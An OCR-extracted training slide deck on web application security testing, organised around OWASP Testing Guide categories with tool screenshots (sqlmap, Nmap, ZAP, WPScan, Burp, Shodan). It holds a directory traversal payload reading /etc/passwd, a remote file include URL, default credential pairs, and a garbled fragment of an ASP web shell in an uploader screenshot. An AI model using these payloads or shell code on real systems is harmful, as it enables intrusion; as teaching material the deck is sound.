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Overview

* How to be sure an application is secure ?
* How to test an application ?

* Not Simple
 An application is designed to be used, modified, published
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Overview

* An application is managed by several teams
* Architecture/design team
 Developers (frontend + backend)
* Business owners
 Governance, risk and Compliance
* Infrastructure Security Team
e System team (Operating system+Backups)
* Middleware/server team



Your first call when it comes
-

\ —
?‘1 SQL Transaction
HTTP(s
TR0 N SO

RP amazin.com Presentation server Application server

I Database

I\~ —

LDAP EJB Admin using API
Token




=N\ — = Q E O]
GJ\\—cLh =
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Overview

* Not so simple......

* An application is designed to be used, published, tested and
modified.

* An application is a full stack software
* Features and associated threats are evolving
 An application is using other infrastructure components
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Middlewares

Frameworks and libraries

Application containers

obfuscation level

Web/Application servers

Communication channel

Network and security devices

Application components Configuration | Classical Code review
audit | assessment | coverage
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How to react

* Know your enemy
 Learn attacks vectors
 Learn exploitation steps

* Prepare your defense
* Include secure SDLC in the contract and in the design
* Secure coding

 Control your work
 Add security in your CI
* Review Code
* Audit your SDLC
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Can the infrastructure protect the application ?

 What is an infrastructure now ?
* What is an application ?

* Example:
The client said «create a web site named amazin.com to quicker sell products to our

clients »

Lets build the infrastructure together
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What is a vulnerability ?

* Vulnerability is a cyber-security term that refers to a flaw in a system that can
leave it open to attack. A vulnerability may also refer to any type of weakness in
a computer system itself, in a set of procedures, or in anything that leaves
information security exposed to a threat.
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What is a point of view ?

-« Level of authorization needed to find the threat and exploit it.
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What is knowledge ?

* In a vulnerability assessment, the knowledge an attacker has about the target
improves the attack surface coverage when searching for vulnerabilities

e Examples : no knowledge, application flows, config files, source code
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Bad practices?

* Intrusion Tester bad practices
 Capture the flag oriented
* In depth approach
* Exploitation oriented

CONGRATULATIONS ON
CAPTURING THE FLAG!

urself a special edition Stripe Capture the Flag t-shirt.
i us your mailing address below:
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Preparation
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Collection

- e Let’s attack more

ﬁ_LMa_l_nual testing
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utomated scans
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ASVS 2014 Web Application Standard

Level O: Cursory

Level O (or Cursory) is an optional certification,
indicating that the application has passed some
type of verification.




ASVS 2014 Web Application Standard

Level 1: Opportunistic

An application achieves Level 1 (or Opportunistic)
certification if it adequately defends against
application security vulnerabilities that are easy
to discover.




ASVS 2014 Web Application Standard

Level 2;: Standard

An application achieves Level 2 (or Standard)
verification if it also adequately defends against
prevalent application security vulnerabilities
whose existence poses moderate-to-serious risk.




Level 3: Advanced

An application achieves Level 3 (or Advanced)
certification if it also adequately defends against
all advanced application security vulnerabilities,
and also demonstrates principles of good security
design.
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Kali linux

* Metasploit

* Nmap

* Nessus

 Zed Attack Proxy
* Sglmap

* Python

* Beef
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Understanding Metasploit

* To Software Developers, a bug is synonymous to a vulnerability.

 Ex: Errors in program’s source code or flawed program design
Buffer overflows

Memory leaks

Dead locks

Arithmetic overflow

Accessing protected memory (Access Violation)



Understanding Metasploit

* Regardless though which type of software bug we are speaking of, they are used as the
foundation to form an exploit

» Therefore, an exploit is a security attack on a vulnerability.

* In other words (again), an exploit attacking a vulnerability is generating an event that the application/program/0S is not
programmed/designed to recover successfully and therefore the result is a system that discontinues to function correctly

* How will this give us access to a secured System?

Answer: It won't.

 Each exploit can be designed to meet the methodology of your attack.

* Ex: An attacker exploits an IDS to reboot it or crash it before he/she launches a further attack to avoid
detection.
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Understanding Metasploit

* However, Exploits have more potential!

* They are commonly used to install system malware or gain system access or recruit
client machines into an existing ‘botnet’.

« This is accomplished with the help of a payload
* The payload is a sequence of code that is executed when the vulnerability is triggered
* To make things clear, an Exploit is really broken up into two parts, like so;

EXPLOIT = Vulnerability + Payload,;



Understanding Metasploit

* The payload is usually written in Assembly Language

 Platform and OS dependant.

» AWin32 payload will not work in Linux (even if we are exploiting the same bug)
» Big Endian, Small Endian Architectures

 Different payload types exist and they accomplish different tasks
» exec > Execute a command or program on the remote system
» download_exec = Download a file from a URL and execute
 upload_exec = Upload a local file and execute
» adduser - Add user to system accounts



Understanding Metasploit

* However, the most common payload type used with exploits are shellcodes or aka shell
payloads.

» These payloads are very useful because they provide the attacker an interactive shell that can be used to completely
control the system remotely

» The term is inherited from Unix = /bin/sh
* ForWin 0S’s, shells actually refer to command prompt = cmd.exe

 There are two different types of shell payloads;

» Bind Shells > A socket is created, a port is bound to it and when an a connection is established to it, it will spawn a
shell.

» Reverse Shells - Instead of creating a listening socket, a connection is created to a predefined IP and Port and a
shell is then shoveled to the Attacker.
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Understanding Metasploit

* The MSF is not only an environment for exploit development but also a platform for
launching exploits on real-world applications. It is packaged with real exploits that can
provide real damage if not used professionally.

 The fact that MSF is an open-source tool and provides such a simplified method for
launching dangerous attacks, it has and still is attracting wannabe hackers and script
kiddies that do no more than create additional problems on networks and system.
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Understanding Metasploit

——

-
—-
B ——

e —

——



Zenmap

0S ¢ Host
19216811
19216814
192168.1.5

192168.1.8
19216819 1921681177 Interpolation

192168.1.12 @ 19216815 S Layout
192168132 o

192.168.1.35

192.168.1.100

192.168.1.110

1921681177 address
hostname

192.168.1.12

192.168.1.1
192.168.1.32

Lower ring gap |10 E
Fisheye onring |1.00 E D— with interest factor | 2,00 E and spread factor | 0.50 E
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My Network Scan

TOP 10 HOSTS with ISSUES
192.168.1.13 High Severity problem(s) found

6% High 192.168.1.79 High Severity problem(s) found

Severity
14% Medium
Sevarity 192.168.1.65 High Severity problem(s) found
79% Low 192.168.1.30 High Severity problem(s) found
Severity

192.168.1.16 High Severity problem|s) found

192.168.1.10 Medium Severity problem(s) found
192.168.1.60 Medium Severity problem(s) found
192.168.1.11 Medium Severity problem(s) found
192.168.1.81 Medium Severity problem(s) found
192.168.1.80 Medium Severity problem(s) found

# OF VAR
ISSUES SYNOPSIS
D-Link DCC Protocol Security Bypass
The remote network service is affected by a security bypass
vulnerability.
Web Common Credentials
Itis possible to access protected web pages with common
credentials.
[D5AZ2122] DSA-2122-1 glibc
The remote host is missing the DSA-2122 security update
[D5AZ2116] DSA-2116-1 freetype
The remote hostis missing the DSA-2116 security update
Microsoft Windows SMB Shares Unprivileged Access
Itis possible to access a network share.

PLUGIM IDS SEVERITY




[\ Untitled Session - Softpedia - OWASP ZAP

File Edit View Analyse Report Tools Online Help

(Sendaamoce ) 1 S D@ BE v 2P POk ©

@ W Request=» T Responseds T Break 24 ]

v @ Ristes Welcome to the OWASP Zed Attack Proxy

» || FUhttpifwww.softpedia.
(ZAP)

ZAP is an easyto use integrated penetration testing tool for finding vulnerabilities in web
applications.

Please be aware that you should only attack applications that you have been specifically
been given permission to test.

To quickly test an application, enter its URL below and press "Attack’.

LIRL to attack: | hitp:ifwww. softpedia.com

m o

Progress: Aftack complete - see the Alers tab for details of any issues found

For a more in depth test you should explore your application using your browser or automated regression tests
while proxying through ZAP.

See the help file for more details.

L3

Forced Browse 4~ T Fuzzer it T Params = T Hitp Sessions =& T WebSockets g¥ T AJAX Spider 58 TDutput
Histoy = | searchCy | Break Points 3¢ [ metsfu | Active Scan ) | spider

IET=T e all_ . . e . [a]
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¥ python zglmap.py —u "http:dStarget/vuln, php'?id=1" —--batch

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
conzent iz illegal, It is the end user's responzibility to obey all applicable
local, state and federal laws, Developers azsume no liability and are not respon

zible for any mizuse or damage caused by thiz program

[*] starting at 15:02:07

[15+02+07] [INFO] te sting connection to the target LEL

[15+02+07] [INFO] heuristics detected web page charzet 'ascii’

[15:02+07] [IMFO] te zting if the target UEL i= stable., Thiz can take a couple of
:::Dnd_

[INFO] target URL i= =table

[INFO] testing if GET parameter 'id' iz dynamic

[INFO] confirming that GET parameter 'id' is dynamic
[lrI“J:“”] [INFO] GET parameter 'id' is dynamic
[15:02:08] [INFO] hewristic (hasic) test shows that GET parameter "id" might be
injectable (possible DBHS: "HySOL')




a) Classification

Taxonomy

Publicly Available: Security Taxonomies,
Research, and Checklists

Secure
Software

Fortify

Brian Chess

. Klockwork Ounce Labs Gramma

Tech

National
Vulnerability

Database
(NVD)

Common
Vulnerabilities
and Exposures
(CVE)

Object

Management

Group System

AssurFaor:Ez Task Open Web

Application
Security
Project Web Application

(OWASP) Security

Consortium
(WASC)

Preliminary

CVE-based
Preliminary
List of
Vulnerability
Examples for
Researchers
(PLOVER)

Previous

Taxonomy
Research

Building CWE & Consensus

Vulnerability

3
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WatchFire
IBM James Madison
University (JMU)
KDM Analytics Cenzic
Other Wor! RELBypaic: Core Security ~ Checkmarx
£ ¥ VERACODE
Available in Stanford
Security Coverity SEI - CERT CC
Taxonomies, Kestrel
Research, and ~Technology

~Checklists
Parasoft

Unisys Purdue

uc Security MIT Lincoln Labs
Berkeley University DIV of
North Carolina State pargand
University (NCSU)

N

Oracle

SEI CERT
Secure Coding
Standards

SANS
National Secure

DHS ;
Software Prog;zm;n e
Assurance Assessment
Common
Body of
Knowledge

DHS's 'SwA'
and

'Build Security

In' Web Sites

217

DHS and NIST

Software Assurance NSA Center for
Metrics and Tool Assured Software

Evaluation (SAMATE)

Test Repositories
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Taxonomy

-+ CWE (Mitre)
~ « CVE (Mitre)
~« CAPEC (Mitre)
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*Information Gathering
* Configuration
*|dentity Management
* Authentication

* Authorization
*Session Management

*|Input Validation
*Error Handling
*Weak Cryptography
*Business Logic
*Client Side
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nduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) .

SHODAN aQ

|l Create Report

TOP COUNTRIES

Luxembourg

TOP SERVICES

HTTPS [2443)
POP3 + S5L
IMAP + §5L
SMTP

FTP

TOP ORGANIZATIONS

Visual Online 5.A.

TOP OPERATING SYSTEMS

Linux 3.x

TOP PRODUCTS

Postfix smtpd
ProFTPD
Apache httpd

*% Maps

& Download Results

EACESLIU=

Your first call when it comes to IT and Security!

Showing results 1 -100f 15
80.90.54.2 = Cmd
plesil 1 : 228 plesk®l-hn_ve. lu ESMTP Postfix

Visual Online 5.A.
R 258-pleck®l-hn.va.lu

== Luxemboung 250-PIPELINING
Details 250-5IZE 10240000
258-ETRN

25B-STARTTLS

258-AUTH PLAIM CRAM-MDS LOGIM DIGEST-MDS
25B8-ENHANCEDSTATUSCODES

258-8BITMIME

258 D3N

80.90.54.2

pleski1- o.lu 220 ProFTPD 1.3.3a Server (ProfTPD) [88.98.54.2]
Visual Online 5.A.

- 530 Login incorrect.

= Lu);embnu-rg 214-The following commands are recognized (= =>"s unimplemented):

Details cwo XCWD COUP XCue SHNT* QuIT PORT PASV
EPRT EPSY ALLO® RNFR RNTO DELE HMDTHM RMD
XRMD MKD XMKD PW. ..

Parall_els Plesk Panel 11.5.30

& S5L Certificate HTTF/1.1 288 0K
Visual Online 5.A. lssued By: ferver: Sw-cp-server
Added on 2015-03-21 21:48:22 GMT |- Common Mame: Rapid55L SHAZSE Date: Mon, 21 Sep 2015 21:486:17 GMT
Luxembaourg CA-G3 Content-Type: text/html

Dretails R
|- Organization:  GeoTrust Inc. Transfer-Encoding: chunked

Connection: keep-alive

Expires: Fri, 28 May 1999 00:00:88 GMT

Last-Modified: Mon, 21 Sep 2015 21:46:17 GMT

Supported $5L Versions Cache-Control: no-store, no-cache, must-revalidate

SS5Lv3, TLSv1, TLSv1.1, TLSv1.2 Cache—. .

Issued To:

|- Cemmon Mame: hnweb.healthnet.lu

Diffie-Hellman Parameters

Fingerprint:  nginx/Hardooded
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Fingerprint Web Server (OTG-INFO-002)

$ telnet sunone.example.com 80

GET / HTTP/3.0

HTTP/1.1 400 Bad request

Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:25:00 GMT
Content-length: 0

Content-type: text/html

Connection: close
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/" http:/ [ adventuresinsecurity.com/robots.bet - Windows Internet Explorer

EEHHFJE1 : . ] robots tich

User-agent: *
Sitemap:http://adventuresinsecurity.com/sitemap.xml
Disallow: flogs/
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Nmap Qutput | Ports / Hosts | Topulugyl Host Details | Scans |

- nmap -T4 -A -v scanme.nmap.org [V| Details

host) B|
Initiating 0S5 detection (try #1) against scanme.nmap.org
(64.13.134.52)

Initiating Traceroute at 12:05

Completed Traceroute at 12:05, 0.29s5 elapsed

Initiating Parallel DN5 resolution of 12 hosts. at 12:05
Completed Parallel DNS resolution of 12 hosts. at 12:05, 6.64s
elapsed

NSE: Script scanning 64.13.134.52.

NSE: Starting runlevel 1 (of 1) scan.

Initiating NSE at 12:05

Completed NSE at 12:05, 4.17s elapsed

Nmap scan report for scanme.nmap.org (64.13.134.52)

Host is up (0.074s latency).

Not shown: 993 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)

| ssh-hostkey: 1024
60:ac:4d:51:bl:cd:85:09:12:16:92:76:1d:5d:27:6e (DSA)

| 2048 2¢:22:75:60:4b:c3:3b:18:82:97:2c:96:7e:28:dc:dd (RSA)
25/tcp closed smtp
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vp head(); vp head(); -->

<!DOCTYPE html>
<html dir="1tx" lang="en-US">
<head>
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1 J"". plication entry pomts (OTG-INFO-006)
ET, ¢ ON

[¢] 'S

= G
- — '-—-:' d‘

—

R
—

. —

|m L] Scripts . D Active Scan all in Scope
3 Citac A Active Scan site
@ v Sites Include in Context

Y & ™ http:/ftestphp.vul A Active Scan subtree
» [ ] P Flash A Active Scan single URL
| R GET:style.css A Active Scan advanced...
.| GET:favicon.ico Spider Context...
» _limages Spider all in Scope
Spider site
Spider Subtree
Spider LRL
¢ Forced Browse site

Flag as Context
Run application

Exclude from Context
Resend... ;
New Alert...

Show in History tab
Open URL in Browser
Copy URLs to clipboard
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Map execution paths through application (OTG-INFO-007)

* Map the target application and understand the principal workflows.
* Diagramming software
e Spider

* http://target.org/phpmyadmin
* http://target.org/applicationl
* http://target.org/manager




5y —~ burp suite fres edition v1.4.01

‘ burp irtruder repeater window about

target | presy | spider [

scanner | intruder | repeater | sequencer | decoder | comparer | eptions | alerts |

site map | scope ]

Fllter: hiding net found items; hiding €55, image and general binary content: hiding 4xx responses: hiding empty folders

| R L =T =]

0= Ea- I|'
o= [ images
= include
14
% =y ajaxtabs
hj
3 ajaxtabs. s
o ) css
T+ ajs
Rl

] a.js
5] a_002.|s
5] a_003.js
BEXIEE
[£] animate_test,js
] link. js
] news_script.js
E text_colorchange.|s
¢] tap_menuhover.|s
[£] transitionshow. js
3 validation.s
] validationl.js
5] window. js
¢ @3 index.php
[7] eptien=contact -
[#] option=Fforget
[#] option=registration
b option=userlogin
o3& modulas
[
o mod_cantact

host method LJRL
Fittp: LIGET ¢

params| status | length |[MIME Ty
200 |EEE?E HTML

E

hittp:s, GET
http:f GET

200 2976

fmages/ |
200 2876

nncludef

HTMIL
HTML

200 2032

http!.l'.-..‘GEr 1
200 11722

hittp: /A .. GET

fncludefajast absf
fincludefajaxtabsiajaxtabs. s

r5|:ri|::|t

At . \GET nncludefossf 200 767

HTIL

Pkt o GET fincludafss 200 1030

HTHL

FitTp: i .. \GET fncludef|sfa.|s 200 G092

sCript

fincludefsfa 002.j5
fmcludefsfa 0035

hittp:/ GET
hittp:f ... |GET

200 23768
200

OO CErENeE

|seript
script

o i

A iI

v b
[*]

response | request |

[ raw | headers | hex | himl [ render |

HTTF/1.1 200 OK

Date: HMon, 19 Dec 011 O7:47:56 GAT

Serwver: hpachs=

H-Poswered-By: PHP/5.2.17

Explres: Thu, 18 Nowv 18931 08:52:00 GHT
Cache-Control: no-atore, no-cache, must-rewalidate,
post-check=0, pce-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=di0IeqdSkhladZsafddiZchqs74leidel:
Connection: olose

ContenL-Type: Text/htoml

Content=Lengch: IES0E

<htmlx
<hsad>
CCitle> Goluntien & Service

- =fticlex

path=/

0 matches
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gerprint Web Application Framework (OTG-IEIF

@ Drupal
CMS

WAPPALYZER | g coogte anaiytics

IDENTIFIES SOFTWARE ON THE WEB

Analytics

Ol Quantcast
Analytics
DENTIFY SOFTWARE ON THE WEBSITES YOU VISIT phe PHP
Nappalyzer is a browser extension that UNcavers thetechol) Programming Language
SEIVErS, JavaScript frameworks, analyicsiteels andimany.mo) ' Highcharts

Javascript Graphics

& jQuery

Javascript Framework

Analyze headers
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 HTML source code

~ * Cookies

F

lordpress scanner, Joomla Scanner
S
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WordPress Security Scanner by the WPScan Team
Version 2.4.1
Sponsored by the RandomStorm Open Source Initiative
{@_WPScan_, @lethicalhack3r, @erwan_lr, pvdl, @_FireFart_

[+] URL: http://funfetti.in/

[+] Started: Tue Nov 11 @9:48:22 2814

[+] robots.txt available under: "http://funfetti.in/robots.txt”
[+] Interesting header: SERVER: nginx/1.6.2
[+] Interesting header: SET-COOKIE: wfvt_268428572=5461cdélcall expires=Tue, 11-Nov-2814 @9:18:33 GMT; path httponly

[+] Interesting header: SET-COOKIE: wordpress_6585b7b25bbd635718b8ec234401bl2a=deleted; expires=Thu, 81-Jan-1970 88:80:01 GMT; path=/wp-content/plugins; htt
ponly

[+] Interesting header: SET-COOKIE: wordpress_6585b7b25bbd635713b8ec9344@1bl2a=deleted; expires=Thu, @1-Jan-1970@ 88:80:01 GMT; path=/wp-admin; httponly
[+] Interesting header: SET-COOKIE: wordpress_logged_in 6585b7b25bbd635718bBec234401bl2a=deleted; expires=Thu, ©1-Jan-197@ @@:@8:81 GMT; path=/; httponly

[+] XML-RPC Interface available under: http://funfetti.in/xmlrpc.php

[+] wordPress version 4.@ identified from advanced fingerprinting

[+] wWordPress theme in use: Karma - v1.2

Mame: Karma - vl1.2

Location: http://funfetti.in/wp-content/themes/Karma/

Style URL: http://funfetti.in/wp-content/themes/Karma/style.css
Theme Mame: Karma

Description:

Author: Fabthemes.com

Author URI: wew.fabthemes.com

Enumerating plugins from passive detection

No plugins found

Finished: Tue Nov 11 @9 148 2014

Memory used: 1.172 MB

Elapsed time: 20:00:26
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Your first call when it comes to IT and Security!

Map Application Architecture (OTG-INFO-010)

* Map Application Architecture (OTG-INFO-010)

* How many servers ?
 Security components in place, blocking mode ?
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@/ Tomcat version 7.0.55
Spring + Angular JS
isco ASA 9 Version 2.2 %
APACHE

43¢ SERvER Probably Oracle or PostGresq|l
F5 WAF

-_— SQL Transaction
HTTP(s) ‘ -

RP amazin.com Presentation server Application server
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Database

LDAP EJB Admin using API

Token
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Test Network/Infrastructure Configuration (OTG-CONFIG-001)
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~ * Security Components in place
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dministrative tools (JMX console, SSH, FTP)
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~ Your first call when it con

"Ccomcoat" password="tomcat" roles="tomcat"/ >
"moth" password="tomcat" roles="tomcat,rolesl"/>

="rnlel™ password="tomecat" roles="rolel"/»

—_——
guser username=" in" B

</ Comocat-userss
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.DS_Store .DS_Store
|| GitDemo Ll .git
(] GitDemo

] GitDemo.xcodeproj
(] GitDemoTests
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numerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)
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Apache Tomcat/7.0.35
—

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

Apache Tomcat/7.0.35 Wpache Software Foundation

http://www.apache.org/

Recommended Reading:

Security Considerations HOW-TO
Manager Application HOW-TO
Clustering/Session Replication HOW-TO | Host Manager

Server Status

| Manager App
N e )

Developer Quick Start

Tomcat Setup Realms & AAA Servlet Specifications
First Web lication JDBC DataSources Tomcat Versions

Managing Tomcat Documentation Getting Help

For security, access to the manager Tomcat 7.0 Documentation FAQ and Mailing Lists
:’:fl.):ed ll:) IR Tomcat 7.0 Configuration The following mailing lists are

available:

$CATALINA HOME/conf/tomcat-users.xml M

. o x announce@tomcat.apache.org
In Tomeat 7.0 access to the pindiacciional importanty Important announcements, releases,
manager application is split between configuration information in: security vulnerability notifications.
different users. Read more... SCATALINA_HOME/RUNNING. txt (Low volume).

usersmcaLaacne.or
Release Notes Developers may be interested in: User support and discussion

Chanaelo Tomceat 7.0 Bug Database taglibs-user@tomcat.apache.org

T¢ 7.0 J D: User support and discussion for Apache
Tomeat 7.0 JavaDocs Taglib Apache
Migration Guide Taglibs
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HTTP Methods (OTG-CONFIG-006)

PROPFIND Er- ==
LOCK

A
_!“-3:-.'.

~ Setting

checking : http://www.your-target.com Name of Your shell
Not vulnerable dav Serang !l Hmei7. asp; tat

About ‘Write your shell here

<% -
mpat=replace(R equest,ServerVarie[]
Setting dosyaPath = mid(mpat,InStiRev(m)

0On eror resume next

Dim objFS0 popup

Add site Set objFSO = CreateObject ("Scrip

if Request("kuskapani''}=1 then

] Response.End
List of Target end if

if Request("'kuskapani'|=2 then
oh erfor resume next
path = Request("'path")

™

Load from file Load Shell from file

Keluar Hide me




= GETHRS_HRAM.HRS_APP_SOHIOB.GEL 200 OK

Emtétes Réponse HTML Cookies

= Réponse
Content-Type

ceer/Sheel; CHARESETm[TE-2
Tue, 13 Qet 2014 Q80845 T
Thua, 0% Dec 1595%4 1&£:00:00 24T

PS5 LOGEINLIST=httpa://fuat—-e fhr; secure; domsin=ust—« ) - ;i httpa: /fuac-
_fhr=;zecure; path=/

P5_TOREREXPIRE=14 Oct J014 D2:18:43 MT; secure;domain~uat—e i path=/

T50lablead=01dEl4b5ealefibbZ42 761553235 6E58TTe655bTeb5cadSboiaf?Zel 8l dde53d] SbdefIelebdiband edi4T7a9d43d0beTT 5Ty

: Pacth=/

TS01763a0f=01d814b5eaT0cfdalaf3bbITedde 65550albd 24c031a03ecadb3bs0521bl 18c20dacBbS6dfaz TE69fchcacks

c3adbeliTibs0el3iebiad3tboetiaddeiZeallE 6T b Sdleb3ledddEiileflGdbicial dbdbbibdat T oI w4 Sd5E031 66392 30e3b5badai3s

i pach=/; demain=ust-e ' .

chunked

Servier/2.5 JERJI.1

1

htepa:/ "pac/hz/EMPLOYEE/HEMS//9/WEELIB_BEI.ISCRIPT].FieldFormula.IScript ERE

C RPELICENT

trae
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Test RIA cross domain policy (OTG-CONFIG-008)

-

- Crossdomain.xml
entaccesspolicy.xml

N —

-
— — “- —
-

<?xml version="1.0"?> |
<IDOCTYPE cross-domain-policy SYSTEM 'http://www.adobe. com/xml/dtds/cross -

domain-policy.dtd"> e~ B
<cross-domain-policy> -

<allow-access-from domain="*"/> —

Eee——

</cross-domain-policy>
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Your first call when it comes to IT and Security!

 Test Network/Infrastructure Configuration (OTG-CONFIG-001)
* Test Application Platform Configuration (OTG-CONFIG-002)
* Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)

* Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-
004)

* Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)
* Test HTTP Methods (OTG-CONFIG-006)

 Test HTTP Strict Transport Security (OTG-CONFIG-007)

* Test RIA cross domain policy (OTG-CONFIG-008)
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WebDAV enabled

/manager

Handler for perl scripts %
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SQL Transaction
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LDAP EJB Admin using API

Database

Token




Testing Guide

* Identity Testing

Security Audit

Intrusion Test

Trustimplies control,
Rate your vulnerability !

EACE U=

Your first call when it comes to IT and Security!
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i March 16, 2017
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Test Role Definitions (OTG-IDENT-001)

~* Role definition

* Role based access control

ole mapping and assignment
-‘t . g 7 g
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Your first call when it comes to IT and Security!

Test User Registration Process (OTG-IDENT-002)

1] Can anyone register for access?

2] Are registrations vetted by a human prior to provisioning, or are they automatically granted
If the criteria are met?

3] Can the same person or identity register multiple times?

4] Can users register for different roles or permissions?

5] What proof of identity is required for a registration to be successful?
6] Are registered identities verified?

Validate the registration process:

[1] Can identity information be easily forged or faked?

[2] Can the exchange of identity information be manipulated during
registration?
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Your first call when it comes to IT and Security!

Test Account Provisioning Process (OTG-IDENT-003)

* |s there any verification, vetting and authorization of provisioning requests?
* |s there any verification, vetting and authorization of de-provisioning requests?

e Can an administrator provision other administrators or just users?

* Can an administrator or other user provision accounts with privileges greater
than their own?

e Can an administrator or user de-provision themselves?
* How are the files or resources owned by the de-provisioned user
 managed? Are they deleted? Is access transferred?
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Your first call when it comes to IT and Security!

Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)

 Client request: Valid user/wrong password --> Server answer: The password is not
correct’

* Client request: Wrong user/wrong password --> Server answer:’User not recognized’

 Analyzing the error code received on login pages

* Analyzing URLs and URLs re-directions

* Analyzing Web page Titles

 Analyzing a message received from a recovery facility



Testing for Weak or unenforced username policy (OTG-IDENT-005)

* Determine the structure of account names.
* Evaluate the application’s response to valid and invalid account names.

 Use different responses to valid and invalid account names to enumerate valid
account names.

e Use account name dictionaries to enumerate valid account names.



3 roles defined

. Username enforced,
isco ASA 9 . .
even after registration APACHE

TP SERVER

F5 WAF >

‘ ‘_ SQL Transaction
HTTP(s)
§I/ < >

RP amazin.com Presentation server Application server

A\ i
)

LDAP EJB Admin using API

Database

Token
Account test enabled




Testing Guide

* Authentication Testing

Security Audit

Intrusion Test

Trustimplies control,
Rate your vulnerability !

EACE U=

Your first call when it comes to IT and Security!
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Your first call when it comes to IT and Security!

Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)

From the server to the client
From the server to the DB
From the frontend to the backend

Example 1: Sending data with POST method through HTTP

Example 2: Sending data with POST method through HTTPS

Example 3: Sending data with POST method via HTTPS on a page reachable via HTTP
Example 4: Sending data with GET method through HTTPS
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Your first call when it comes to IT and Security!

Testing for default credentials (OTG-AUTHN-002)

How many default credentials in my components ?
How many components in my application © ?

admin:admin
test:test
tomcat:manager

S e
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Your first call when it comes to IT and Security!

Testing for Weak lock out mechanism (OTG-AUTHN-003)

[1] Attempt to log in with an incorrect password 3 times.

[2] Successfully log in with the correct password, thereby showing that the lockout mechanism doesn’t
trigger after 3 incorrect authentication attempts.

[5] Attempt to log in with an incorrect password 5 times.

[6] Attempt to log in with the correct password. The application returns “Your account is locked out.”,
thereby confirming that the account is locked out after 5 incorrect authentication attempts.

[8] Attempt to log in with the correct password 10 minutes later. The application returns “Your account
is locked out.”, thereby showing that the lockout mechanism does not automatically unlock after 10
minutes.

[9] Successfully log in with the correct password 15 minutes later, thereby showing that the lockout
mechanism automatically unlocks after a 10 to 15 minute period.

Wait..... What about bruteforce ?
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Your first call when it comes to IT and Security!

Testing for bypassing authentication schema (OTG-AUTHN-004)

* Direct page request (forced browsing)
« Parameter modification

» Session ID prediction

» SQL injection
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Your first call when it comes to IT and Security!

Test remember password functionality (OTG-AUTHN-005)

* Look for passwords being stored in a cookie. Examine the cookies stored by
the application. Verify that the credentials are not stored in clear text, but are
hashed.

« Examine the hashing mechanism: if it is a common, well-known algorithm,
check for its strength; in homegrown hash functions, attempt several
usernames to check whether the hash function

IS easily guessable.

* Verify that the credentials are only sent during the log in phase, and not sent
together with every request

to the application.

« Consider other sensitive form fields (e.g. an answer to a secret question that
must be entered in a password recovery or account unlock form).
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Testing for Browser cache weakness (OTG-AUTHN-006)

==
? ne-Control: no-cache, no-store

irac: N
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Your first call when it conr 0 IT and Security!

Testing for Weak password policy (OTG-AUTHN-007)

[1] What characters are permitted and forbidden for use within a password? Is the user required to
use characters from different character sets such as lower and uppercase letters, digits and
special symbols?

[2] How often can a user change their password? How quickly can a user change their password
after a previous change? Users may bypass password history requirements by changing their
password 5 times in a row so that after the last password change they have configured their initial
password again.

[3] When must a user change their password? After 90 days? After account lockout due to
excessive log on attempts?

4] How often can a user reuse a password? Does the application maintain a history of the user’s
previous used 8 passwords?

5] How different must the next password be from the last password?

6] Is the user prevented from using his username or other account information (such as first or last
name) in the password?
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Your first call when it comes to IT and Security!

Testing for Weak security question/answer (OTG-AUTHN-008)

Pre-generated questions:

The answers may be known to family members or close friends
of the user, e.g. "What is your mother’'s maiden name?”, “What is
your date of birth?”

Self-generated gquestions:
What is 1+17
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Your first call when it comes to IT and Security!

Testing for weak password change or reset functionalities
(OTG-AUTHN-009)

[1] if users, other than administrators, can change or reset passwords for
accounts other than their own.

[2] if users can manipulate or subvert the password change or reset
process to change or reset the password of another user or
administrator.

[3] if the password change or reset process is vulnerable to CSRF.
[4] Is the old password requested to complete the change?
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Your first call when it comes to IT and Security!

Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)

« Standard website

* Mobile, or specific device, optimized website
 Accessibility optimized website

* Alternative country and language websites

 Parallel websites that utilize the same user accounts (e.g. another website offering
different functionally of the same organization, a partner website with which user
accounts are shared)

* Development, test, UAT and staging versions of the standard website
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Your first call when it comes to IT and Security!

Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)
Testing for default credentials (OTG-AUTHN-002)

Testing for Weak lock out mechanism (OTG-AUTHN-003)

Testing for bypassing authentication schema (OTG-AUTHN-004)

Test remember password functionality (OTG-AUTHN-005)

Testing for Browser cache weakness (OTG-AUTHN-006)

Testing for Weak password policy (OTG-AUTHN-007)

Testing for Weak security guestion/answer (OTG-AUTHN-008)

Testing for weak password change or reset functionalities (OTG-AUTHN-009)
Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)
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Testing Guide

* Authorization Testing

Security Audit

Intrusion Test

Trustimplies control,
Rate your vulnerability !

EACE U=

Your first call when it comes to IT and Security!
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SEXACEL iU~
Your first call when it comes to IT and Security!

Testing Directory traversal/file include (OTG-AUTHZ-001)

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

| tt //example com/index.php?file=http://www.owasp. orq/maI|C|ousth

—

act ery

=a~—‘"

—
—
-
g —-
-
—

erver_or |\|oath\to\f|Ie abc -> Microsoft single S|gn on and crc S sery

‘= —s



http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
file://server_or_ip/path/to/file.abc
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Your first call when it comes to IT and Security!

Testing for bypassing authorization schema (OTG-AUTHZ-002)

* |s it possible to access that resource even if the user is not authenticated?
* Is it possible to access that resource after the log-out?

* |s it possible to access functions and resources that should be accessible to a user
that holds a different role or privilege?

* |s it possible to access administrative functions also if the tester is logged as a user
with standard privileges?

* |s it possible to use these administrative functions as a user with A different role
and for whom that action should be denied?
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Your first call when it comes to IT and Security!

Testing for Privilege Escalation (OTG-AUTHZ-003)

Testing for role/privilege manipulation
Where are the controls : On the view, model, controller ? Switch user ?
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Your first call when it comes to IT and Security!

